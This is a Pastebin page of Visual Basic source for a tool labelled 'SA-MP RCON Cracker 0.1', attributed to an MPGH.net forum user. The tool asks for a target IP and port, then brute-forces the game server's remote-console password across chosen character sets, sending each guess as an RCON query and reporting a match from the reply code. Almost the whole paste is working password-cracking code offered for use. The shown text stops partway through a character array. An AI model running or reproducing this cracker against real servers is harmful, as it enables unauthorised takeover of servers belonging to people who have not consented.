Advertisement
Guest User

Module1.vb

a guest
Feb 9th, 2013
137
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Imports System.Collections.Generic
  2. Imports System.Text
  3. Imports System.Linq
  4. Imports System.IO
  5. Imports System.Net
  6. Imports System.Net.Sockets
  7. Module Module1
  8.     Private Sub createNewKey(currentCharPosition As Integer, keyChars As Char(), keyLength As Integer, indexOfLastChar As Integer, ip As String, port As Integer, _
  9.      charset As Integer)
  10.         If Not isMatched Then
  11.             Dim nextCharPosition = currentCharPosition + 1
  12.             For i As Integer = 0 To charactersToTestLength - 1
  13.                 If charset = 1 Then
  14.  
  15.                     Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
  16.                         "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
  17.                         "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
  18.                         "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
  19.                         "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
  20.                         "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
  21.                         "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
  22.                         "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
  23.                         "W"c, "X"c, "Y"c, "Z"c, "1"c, "2"c, _
  24.                         "3"c, "4"c, "5"c, "6"c, "7"c, "8"c, _
  25.                         "9"c, "0"c, "!"c, "$"c, "#"c, "@"c, _
  26.                         "-"c, "*"c, "&"c, "^"c, "%"c, "~"c, _
  27.                         "`"c, "["c, "]"c, "|"c, "/"c, """"c, _
  28.                         ":"c, ";"c, ":"c, "?"c, ">"c, ","c, _
  29.                         "."c, "("c, ")"c, "_"c, "-"c, "+"c, _
  30.                         "="c, "\"c}
  31.                     keyChars(currentCharPosition) = charactersToTest(i)
  32.                     If currentCharPosition < indexOfLastChar Then
  33.                         createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar, ip, port, _
  34.                             charset)
  35.                     Else
  36.                         computedKeys += 1
  37.                         'check rcon
  38.                        'Query.RCONQuery sQuery = new Query.RCONQuery("127.0.0.1", 7777, (new String(keyChars)));
  39.                        Dim sQuery As New Query.RCONQuery(ip, port, (New [String](keyChars)))
  40.                         Console.Write("Checking rcon password: ")
  41.                         Console.Write(New [String](keyChars))
  42.                         Console.WriteLine("")
  43.                         If Not sQuery.Send("echo test") Then
  44.                             Console.WriteLine("ERROR: Bad IP/HostName/Port")
  45.                             Environment.[Exit](2)
  46.                         End If
  47.                         Dim count As Integer = sQuery.Recieve()
  48.                         If count = 17 Then
  49.                             If Not isMatched Then
  50.                                 isMatched = True
  51.                                 result = New [String](keyChars)
  52.                                 Console.WriteLine("*** Success! received package: 17! ***")
  53.                                 Console.WriteLine("")
  54.                             End If
  55.                             Return
  56.                         End If
  57.                         If count = 35 Then
  58.                             Console.WriteLine("Failed, received package: 35")
  59.                         End If
  60.                     End If
  61.                 End If
  62.                 If charset = 2 Then
  63.                     'numbers
  64.                    Dim charactersToTest As Char() = {"1"c, "2"c, "3"c, "4"c, "5"c, "6"c, _
  65.                         "7"c, "8"c, "9"c, "0"c}
  66.                     keyChars(currentCharPosition) = charactersToTest(i)
  67.                     If currentCharPosition < indexOfLastChar Then
  68.                         createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar, ip, port, _
  69.                             charset)
  70.                     Else
  71.                         computedKeys += 1
  72.                         'check rcon
  73.                        'Query.RCONQuery sQuery = new Query.RCONQuery("127.0.0.1", 7777, (new String(keyChars)));
  74.                        Dim sQuery As New Query.RCONQuery(ip, port, (New [String](keyChars)))
  75.                         Console.Write("Checking rcon password: ")
  76.                         Console.Write(New [String](keyChars))
  77.                         Console.WriteLine("")
  78.                         If Not sQuery.Send("echo test") Then
  79.                             Console.WriteLine("ERROR: Bad IP/HostName/Port")
  80.                             Environment.[Exit](2)
  81.                         End If
  82.                         Dim count As Integer = sQuery.Recieve()
  83.                         If count = 17 Then
  84.                             If Not isMatched Then
  85.                                 isMatched = True
  86.                                 result = New [String](keyChars)
  87.                                 Console.WriteLine("*** Success! received package: 17! ***")
  88.                                 Console.WriteLine("")
  89.  
  90.                             End If
  91.                             Return
  92.                         End If
  93.                         If count = 35 Then
  94.                             Console.WriteLine("Failed, received package: 35")
  95.                         End If
  96.                     End If
  97.                 End If
  98.                 If charset = 3 Then
  99.                     'letters
  100.                    Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
  101.                         "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
  102.                         "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
  103.                         "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
  104.                         "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
  105.                         "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
  106.                         "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
  107.                         "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
  108.                         "W"c, "X"c, "Y"c, "Z"c}
  109.                     keyChars(currentCharPosition) = charactersToTest(i)
  110.                     If currentCharPosition < indexOfLastChar Then
  111.                         createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar, ip, port, _
  112.                             charset)
  113.                     Else
  114.                         computedKeys += 1
  115.                         'check rcon
  116.                        'Query.RCONQuery sQuery = new Query.RCONQuery("127.0.0.1", 7777, (new String(keyChars)));
  117.                        Dim sQuery As New Query.RCONQuery(ip, port, (New [String](keyChars)))
  118.                         Console.Write("Checking rcon password: ")
  119.                         Console.Write(New [String](keyChars))
  120.                         Console.WriteLine("")
  121.                         If Not sQuery.Send("echo test") Then
  122.                             Console.WriteLine("ERROR: Bad IP/HostName/Port")
  123.                             Environment.[Exit](2)
  124.                         End If
  125.                         Dim count As Integer = sQuery.Recieve()
  126.                         If count = 17 Then
  127.                             If Not isMatched Then
  128.                                 isMatched = True
  129.                                 result = New [String](keyChars)
  130.                                 Console.WriteLine("*** Success! received package: 17! ***")
  131.                                 Console.WriteLine("")
  132.                             End If
  133.                             Return
  134.                         End If
  135.                         If count = 35 Then
  136.                             Console.WriteLine("Failed, received package: 35")
  137.                         End If
  138.                     End If
  139.                 End If
  140.                 If charset = 4 Then
  141.                     'special
  142.                    Dim charactersToTest As Char() = {"!"c, "$"c, "#"c, "@"c, "-"c, "*"c, _
  143.                         "&"c, "^"c, "%"c, "~"c, "`"c, "["c, _
  144.                         "]"c, "|"c, "/"c, """"c, ":"c, ";"c, _
  145.                         ":"c, "?"c, ">"c, ","c, "."c, "("c, _
  146.                         ")"c, "_"c, "-"c, "+"c, "="c, "\"c}
  147.                     keyChars(currentCharPosition) = charactersToTest(i)
  148.                     If currentCharPosition < indexOfLastChar Then
  149.                         createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar, ip, port, _
  150.                             charset)
  151.                     Else
  152.                         computedKeys += 1
  153.                         'check rcon
  154.                        'Query.RCONQuery sQuery = new Query.RCONQuery("127.0.0.1", 7777, (new String(keyChars)));
  155.                        Dim sQuery As New Query.RCONQuery(ip, port, (New [String](keyChars)))
  156.                         Console.Write("Checking rcon password: ")
  157.                         Console.Write(New [String](keyChars))
  158.                         Console.WriteLine("")
  159.                         If Not sQuery.Send("echo test") Then
  160.                             Console.WriteLine("ERROR: Bad IP/HostName/Port")
  161.                             Environment.[Exit](2)
  162.                         End If
  163.                         Dim count As Integer = sQuery.Recieve()
  164.                         If count = 17 Then
  165.                             If Not isMatched Then
  166.                                 isMatched = True
  167.                                 result = New [String](keyChars)
  168.                                 Console.WriteLine("*** Success! received package: 17! ***")
  169.                                 Console.WriteLine("")
  170.                             End If
  171.                             Return
  172.                         End If
  173.                         If count = 35 Then
  174.                             Console.WriteLine("Failed, received package: 35")
  175.                         End If
  176.                     End If
  177.                 End If
  178.                 If charset = 5 Then
  179.                     'numbers&letters
  180.                    Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
  181.                         "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
  182.                         "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
  183.                         "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
  184.                         "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
  185.                         "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
  186.                         "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
  187.                         "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
  188.                         "W"c, "X"c, "Y"c, "Z"c, "1"c, "2"c, _
  189.                         "3"c, "4"c, "5"c, "6"c, "7"c, "8"c, _
  190.                         "9"c, "0"c}
  191.                     keyChars(currentCharPosition) = charactersToTest(i)
  192.                     If currentCharPosition < indexOfLastChar Then
  193.                         createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar, ip, port, _
  194.                             charset)
  195.                     Else
  196.                         computedKeys += 1
  197.                         'check rcon
  198.                        'Query.RCONQuery sQuery = new Query.RCONQuery("127.0.0.1", 7777, (new String(keyChars)));
  199.                        Dim sQuery As New Query.RCONQuery(ip, port, (New [String](keyChars)))
  200.                         Console.Write("Checking rcon password: ")
  201.                         Console.Write(New [String](keyChars))
  202.                         Console.WriteLine("")
  203.                         If Not sQuery.Send("echo test") Then
  204.                             Console.WriteLine("ERROR: Bad IP/HostName/Port")
  205.                             Environment.[Exit](2)
  206.                         End If
  207.                         Dim count As Integer = sQuery.Recieve()
  208.                         If count = 17 Then
  209.                             If Not isMatched Then
  210.                                 isMatched = True
  211.                                 result = New [String](keyChars)
  212.                                 Console.WriteLine("*** Success! received package: 17! ***")
  213.                                 Console.WriteLine("")
  214.                             End If
  215.                             Return
  216.                         End If
  217.                         If count = 35 Then
  218.                             Console.WriteLine("Failed, received package: 35")
  219.                         End If
  220.                     End If
  221.                 End If
  222.                 If charset = 6 Then
  223.                     'letters&special
  224.                    Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
  225.                         "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
  226.                         "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
  227.                         "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
  228.                         "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
  229.                         "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
  230.                         "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
  231.                         "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
  232.                         "W"c, "X"c, "Y"c, "Z"c, "!"c, "$"c, _
  233.                         "#"c, "@"c, "-"c, "*"c, "&"c, "^"c, _
  234.                         "%"c, "~"c, "`"c, "["c, "]"c, "|"c, _
  235.                         "/"c, """"c, ":"c, ";"c, ":"c, "?"c, _
  236.                         ">"c, ","c, "."c, "("c, ")"c, "_"c, _
  237.                         "-"c, "+"c, "="c, "\"c}
  238.                     keyChars(currentCharPosition) = charactersToTest(i)
  239.                     If currentCharPosition < indexOfLastChar Then
  240.                         createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar, ip, port, _
  241.                             charset)
  242.                     Else
  243.                         computedKeys += 1
  244.                         'check rcon
  245.                        'Query.RCONQuery sQuery = new Query.RCONQuery("127.0.0.1", 7777, (new String(keyChars)));
  246.                        Dim sQuery As New Query.RCONQuery(ip, port, (New [String](keyChars)))
  247.                         Console.Write("Checking rcon password: ")
  248.                         Console.Write(New [String](keyChars))
  249.                         Console.WriteLine("")
  250.                         If Not sQuery.Send("echo test") Then
  251.                             Console.WriteLine("ERROR: Bad IP/HostName/Port. Check your internet connection, and press any key to return to cracking...")
  252.                             'Environment.Exit(2);
  253.                            Console.ReadLine()
  254.                         End If
  255.                         Dim count As Integer = sQuery.Recieve()
  256.                         If count = 17 Then
  257.                             If Not isMatched Then
  258.                                 isMatched = True
  259.                                 result = New [String](keyChars)
  260.                                 Console.WriteLine("*** Success! received package: 17! ***")
  261.                                 Console.WriteLine("")
  262.                             End If
  263.                             Return
  264.                         End If
  265.                         If count = 35 Then
  266.                             Console.WriteLine("Failed, received package: 35")
  267.                         End If
  268.                     End If
  269.                 End If
  270.                 If charset = 7 Then
  271.                     'numbers&special
  272.                    Dim charactersToTest As Char() = {"1"c, "2"c, "3"c, "4"c, "5"c, "6"c, _
  273.                         "7"c, "8"c, "9"c, "0"c, "!"c, "$"c, _
  274.                         "#"c, "@"c, "-"c, "*"c, "&"c, "^"c, _
  275.                         "%"c, "~"c, "`"c, "["c, "]"c, "|"c, _
  276.                         "/"c, """"c, ":"c, ";"c, ":"c, "?"c, _
  277.                         ">"c, ","c, "."c, "("c, ")"c, "_"c, _
  278.                         "-"c, "+"c, "="c, "\"c}
  279.                     keyChars(currentCharPosition) = charactersToTest(i)
  280.                     If currentCharPosition < indexOfLastChar Then
  281.                         createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar, ip, port, _
  282.                             charset)
  283.                     Else
  284.                         computedKeys += 1
  285.                         'check rcon
  286.                        'Query.RCONQuery sQuery = new Query.RCONQuery("127.0.0.1", 7777, (new String(keyChars)));
  287.                        Dim sQuery As New Query.RCONQuery(ip, port, (New [String](keyChars)))
  288.                         Console.Write("Checking rcon password: ")
  289.                         Console.Write(New [String](keyChars))
  290.                         Console.WriteLine("")
  291.                         If Not sQuery.Send("echo test") Then
  292.                             Console.WriteLine("ERROR: Bad IP/HostName/Port")
  293.                             Environment.[Exit](2)
  294.                         End If
  295.                         Dim count As Integer = sQuery.Recieve()
  296.                         If count = 17 Then
  297.                             If Not isMatched Then
  298.                                 isMatched = True
  299.                                 result = New [String](keyChars)
  300.                                 Console.WriteLine("*** Success! received package: 17! ***")
  301.                                 Console.WriteLine("")
  302.                             End If
  303.                             Return
  304.                         End If
  305.                         If count = 35 Then
  306.                             Console.WriteLine("Failed, received package: 35")
  307.                         End If
  308.                     End If
  309.                 End If
  310.             Next
  311.         End If
  312.     End Sub
  313.     Private result As String
  314.  
  315.     Private isMatched As Boolean = False
  316.  
  317.     Private charactersToTestLength As Integer = 0
  318.     Private computedKeys As Long = 0
  319.     Private Function createCharArray(length As Integer, defaultChar As Char) As Char()
  320.         Return (From c In New Char(length - 1) {}).ToArray()
  321.     End Function
  322.  
  323.     Private Sub startBruteForce(keyLength As Integer, ip As String, port As Integer, charset As Integer)
  324.         If charset = 1 Then
  325.             'all chars
  326.            Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
  327.                 "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
  328.                 "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
  329.                 "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
  330.                 "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
  331.                 "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
  332.                 "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
  333.                 "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
  334.                 "W"c, "X"c, "Y"c, "Z"c, "1"c, "2"c, _
  335.                 "3"c, "4"c, "5"c, "6"c, "7"c, "8"c, _
  336.                 "9"c, "0"c, "!"c, "$"c, "#"c, "@"c, _
  337.                 "-"c, "*"c, "&"c, "^"c, "%"c, "~"c, _
  338.                 "`"c, "["c, "]"c, "|"c, "/"c, """"c, _
  339.                 ":"c, ";"c, ":"c, "?"c, ">"c, ","c, _
  340.                 "."c, "("c, ")"c, "_"c, "-"c, "+"c, _
  341.                 "="c, "\"c}
  342.             Dim keyChars = createCharArray(keyLength, charactersToTest(0))
  343.             Dim indexOfLastChar = keyLength - 1
  344.             createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, _
  345.                 charset)
  346.         End If
  347.         If charset = 2 Then
  348.             'numbers
  349.            Dim charactersToTest As Char() = {"1"c, "2"c, "3"c, "4"c, "5"c, "6"c, _
  350.                 "7"c, "8"c, "9"c, "0"c}
  351.             Dim keyChars = createCharArray(keyLength, charactersToTest(0))
  352.             Dim indexOfLastChar = keyLength - 1
  353.             createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, _
  354.                 charset)
  355.         End If
  356.         If charset = 3 Then
  357.             'letters
  358.            Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
  359.                 "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
  360.                 "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
  361.                 "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
  362.                 "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
  363.                 "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
  364.                 "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
  365.                 "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
  366.                 "W"c, "X"c, "Y"c, "Z"c}
  367.             Dim keyChars = createCharArray(keyLength, charactersToTest(0))
  368.             Dim indexOfLastChar = keyLength - 1
  369.             createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, _
  370.                 charset)
  371.         End If
  372.         If charset = 4 Then
  373.             'special
  374.            Dim charactersToTest As Char() = {"!"c, "$"c, "#"c, "@"c, "-"c, "*"c, _
  375.                 "&"c, "^"c, "%"c, "~"c, "`"c, "["c, _
  376.                 "]"c, "|"c, "/"c, """"c, ":"c, ";"c, _
  377.                 ":"c, "?"c, ">"c, ","c, "."c, "("c, _
  378.                 ")"c, "_"c, "-"c, "+"c, "="c, "\"c}
  379.             Dim keyChars = createCharArray(keyLength, charactersToTest(0))
  380.             Dim indexOfLastChar = keyLength - 1
  381.             createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, _
  382.                 charset)
  383.         End If
  384.         If charset = 5 Then
  385.             'numbers&letters
  386.            Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
  387.                 "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
  388.                 "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
  389.                 "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
  390.                 "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
  391.                 "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
  392.                 "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
  393.                 "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
  394.                 "W"c, "X"c, "Y"c, "Z"c, "1"c, "2"c, _
  395.                 "3"c, "4"c, "5"c, "6"c, "7"c, "8"c, _
  396.                 "9"c, "0"c}
  397.             Dim keyChars = createCharArray(keyLength, charactersToTest(0))
  398.             Dim indexOfLastChar = keyLength - 1
  399.             createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, _
  400.                 charset)
  401.         End If
  402.         If charset = 6 Then
  403.             'letters&special
  404.            Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
  405.                 "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
  406.                 "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
  407.                 "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
  408.                 "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
  409.                 "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
  410.                 "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
  411.                 "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
  412.                 "W"c, "X"c, "Y"c, "Z"c, "!"c, "$"c, _
  413.                 "#"c, "@"c, "-"c, "*"c, "&"c, "^"c, _
  414.                 "%"c, "~"c, "`"c, "["c, "]"c, "|"c, _
  415.                 "/"c, """"c, ":"c, ";"c, ":"c, "?"c, _
  416.                 ">"c, ","c, "."c, "("c, ")"c, "_"c, _
  417.                 "-"c, "+"c, "="c, "\"c}
  418.             Dim keyChars = createCharArray(keyLength, charactersToTest(0))
  419.             Dim indexOfLastChar = keyLength - 1
  420.             createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, _
  421.                 charset)
  422.         End If
  423.         If charset = 7 Then
  424.             'numbers&special
  425.            Dim charactersToTest As Char() = {"1"c, "2"c, "3"c, "4"c, "5"c, "6"c, _
  426.                 "7"c, "8"c, "9"c, "0"c, "!"c, "$"c, _
  427.                 "#"c, "@"c, "-"c, "*"c, "&"c, "^"c, _
  428.                 "%"c, "~"c, "`"c, "["c, "]"c, "|"c, _
  429.                 "/"c, """"c, ":"c, ";"c, ":"c, "?"c, _
  430.                 ">"c, ","c, "."c, "("c, ")"c, "_"c, _
  431.                 "-"c, "+"c, "="c, "\"c}
  432.             Dim keyChars = createCharArray(keyLength, charactersToTest(0))
  433.             Dim indexOfLastChar = keyLength - 1
  434.             createNewKey(0, keyChars, keyLength, indexOfLastChar, ip, port, _
  435.                 charset)
  436.         End If
  437.     End Sub
  438.  
  439.     Sub Main()
  440.         Console.Title = "SA-MP RCON CRACKER 0.1"
  441.         Console.ForegroundColor = ConsoleColor.Blue
  442.         Console.WriteLine("SA-MP RCON Cracker 0.1")
  443.         Console.ForegroundColor = ConsoleColor.Green
  444.         Console.WriteLine("")
  445.         Console.WriteLine("Tested on SA:MP 0.3a, 0.3b, 0.3c [ALL RELEASES]")
  446.         Console.WriteLine("")
  447.         Console.WriteLine("Cracking is very slow due to limits in SA:MP 0.3")
  448.         Console.WriteLine("")
  449.         Console.WriteLine("Made By Matthieu503 of MPGH.net")
  450.         Console.WriteLine("")
  451.         Console.WriteLine("Opening Thread - Please use the browser to check for Updates")
  452.         'Console.WriteLine("")
  453.        Console.WriteLine("Made in Visual Studio 2012")
  454.         Console.WriteLine("")
  455.         Process.Start("http://www.mpgh.net/forum/33-visual-basic-programming/538066-sa-mp-rcon-cracker-0-3-a.html")
  456.         Console.WriteLine("")
  457.         Console.WriteLine("Thread has opened up.")
  458.         Console.WriteLine("")
  459.         Console.WriteLine("")
  460.         MsgBox("Please Enter IP", MsgBoxStyle.OkOnly)
  461.         Console.ForegroundColor = ConsoleColor.Cyan
  462. #If (args) Then
  463.             If args.Length = 0 Then
  464.                 Console.WriteLine("USAGE: rcon_brute [ip] [port] [charset type] [password lenght]")
  465.                 Console.WriteLine("Charsets: 1 - All chars, 2 - Numbers, 3 - Letters, 4 - Special chars (e.g. *&%), 5 - Numbers&Letters, 6 - Letters&Special, 7 - Numbers&Special")
  466.                 Environment.[Exit](1)
  467.             End If
  468. #End If
  469.  
  470.  
  471. #If (args) Then
  472.             Dim ip As String = args(0)
  473.             Dim port As Integer = Int32.Parse(args(1))
  474.             Dim charset As Integer = Int32.Parse(args(2))
  475. #Else
  476.         Console.WriteLine("Enter target IP/HostName: ")
  477.         Dim ip As String = Console.ReadLine()
  478.         Console.WriteLine("Enter target port: ")
  479.         Dim port As Integer = Int32.Parse(Console.ReadLine())
  480.         Console.WriteLine("Select charset type: ")
  481.         Console.WriteLine("Charsets: 1 - All chars, 2 - Numbers, 3 - Letters, 4 - Special chars (e.g. *&%), 5 - Numbers&Letters, 6 - Letters&Special, 7 - Numbers&Special")
  482.         Dim charset As Integer = Int32.Parse(Console.ReadLine())
  483.         Console.WriteLine("Enter password lenght (cracking will start with this lenght, type 1 to normal mode): ")
  484.         Dim count As Integer = Int32.Parse(Console.ReadLine())
  485. #End If
  486.  
  487.  
  488.         If charset = 1 Then
  489.             'all chars
  490.            Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
  491.                 "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
  492.                 "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
  493.                 "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
  494.                 "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
  495.                 "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
  496.                 "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
  497.                 "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
  498.                 "W"c, "X"c, "Y"c, "Z"c, "1"c, "2"c, _
  499.                 "3"c, "4"c, "5"c, "6"c, "7"c, "8"c, _
  500.                 "9"c, "0"c, "!"c, "$"c, "#"c, "@"c, _
  501.                 "-"c, "*"c, "&"c, "^"c, "%"c, "~"c, _
  502.                 "`"c, "["c, "]"c, "|"c, "/"c, """"c, _
  503.                 ":"c, ";"c, ":"c, "?"c, ">"c, ","c, _
  504.                 "."c, "("c, ")"c, "_"c, "-"c, "+"c, _
  505.                 "="c, "\"c}
  506.             'start bruter
  507.            Dim timeStarted = DateTime.Now
  508.             Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port)
  509.  
  510.             charactersToTestLength = charactersToTest.Length
  511.  
  512.             Dim estimatedPasswordLength = count - 1
  513.  
  514.             While Not isMatched
  515.                 estimatedPasswordLength += 1
  516.                 startBruteForce(estimatedPasswordLength, ip, port, charset)
  517.             End While
  518.  
  519.             Console.WriteLine("Password matched: {0}", DateTime.Now.ToString())
  520.             Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds)
  521.             Console.WriteLine("Resolved password: {0}", result)
  522.             Console.WriteLine("Computed keys: {0}", computedKeys)
  523.             Console.ReadLine()
  524.         End If
  525.         If charset = 2 Then
  526.             'numbers
  527.            Dim charactersToTest As Char() = {"1"c, "2"c, "3"c, "4"c, "5"c, "6"c, _
  528.                 "7"c, "8"c, "9"c, "0"c}
  529.             'start bruter
  530.            Dim timeStarted = DateTime.Now
  531.             Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port)
  532.  
  533.             charactersToTestLength = charactersToTest.Length
  534.  
  535.             Dim estimatedPasswordLength = count - 1
  536.  
  537.             While Not isMatched
  538.                 estimatedPasswordLength += 1
  539.                 startBruteForce(estimatedPasswordLength, ip, port, charset)
  540.             End While
  541.  
  542.             Console.WriteLine("Password matched: {0}", DateTime.Now.ToString())
  543.             Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds)
  544.             Console.WriteLine("Resolved password: {0}", result)
  545.             Console.WriteLine("Computed keys: {0}", computedKeys)
  546.             Console.ReadLine()
  547.         End If
  548.         If charset = 3 Then
  549.             'letters
  550.            Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
  551.                 "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
  552.                 "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
  553.                 "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
  554.                 "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
  555.                 "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
  556.                 "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
  557.                 "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
  558.                 "W"c, "X"c, "Y"c, "Z"c}
  559.             'start bruter
  560.            Dim timeStarted = DateTime.Now
  561.             Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port)
  562.  
  563.             charactersToTestLength = charactersToTest.Length
  564.  
  565.             Dim estimatedPasswordLength = count - 1
  566.  
  567.             While Not isMatched
  568.                 estimatedPasswordLength += 1
  569.                 startBruteForce(estimatedPasswordLength, ip, port, charset)
  570.             End While
  571.  
  572.             Console.WriteLine("Password matched: {0}", DateTime.Now.ToString())
  573.             Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds)
  574.             Console.WriteLine("Resolved password: {0}", result)
  575.             Console.WriteLine("Computed keys: {0}", computedKeys)
  576.             Console.ReadLine()
  577.         End If
  578.         If charset = 4 Then
  579.             'special
  580.            Dim charactersToTest As Char() = {"!"c, "$"c, "#"c, "@"c, "-"c, "*"c, _
  581.                 "&"c, "^"c, "%"c, "~"c, "`"c, "["c, _
  582.                 "]"c, "|"c, "/"c, """"c, ":"c, ";"c, _
  583.                 ":"c, "?"c, ">"c, ","c, "."c, "("c, _
  584.                 ")"c, "_"c, "-"c, "+"c, "="c, "\"c}
  585.             'start bruter
  586.            Dim timeStarted = DateTime.Now
  587.             Console.WriteLine("Start BruteForce - {0} [{1}:{2}]", timeStarted.ToString(), ip, port)
  588.  
  589.             charactersToTestLength = charactersToTest.Length
  590.  
  591.             Dim estimatedPasswordLength = count - 1
  592.  
  593.             While Not isMatched
  594.                 estimatedPasswordLength += 1
  595.                 startBruteForce(estimatedPasswordLength, ip, port, charset)
  596.             End While
  597.  
  598.             Console.WriteLine("Password matched: {0}", DateTime.Now.ToString())
  599.             Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds)
  600.             Console.WriteLine("Resolved password: {0}", result)
  601.             Console.WriteLine("Computed keys: {0}", computedKeys)
  602.             Console.ReadLine()
  603.         End If
  604.         If charset = 5 Then
  605.             'numbers&letters
  606.            Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
  607.                 "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
  608.                 "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
  609.                 "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
  610.                 "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
  611.                 "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
  612.                 "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
  613.                 "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
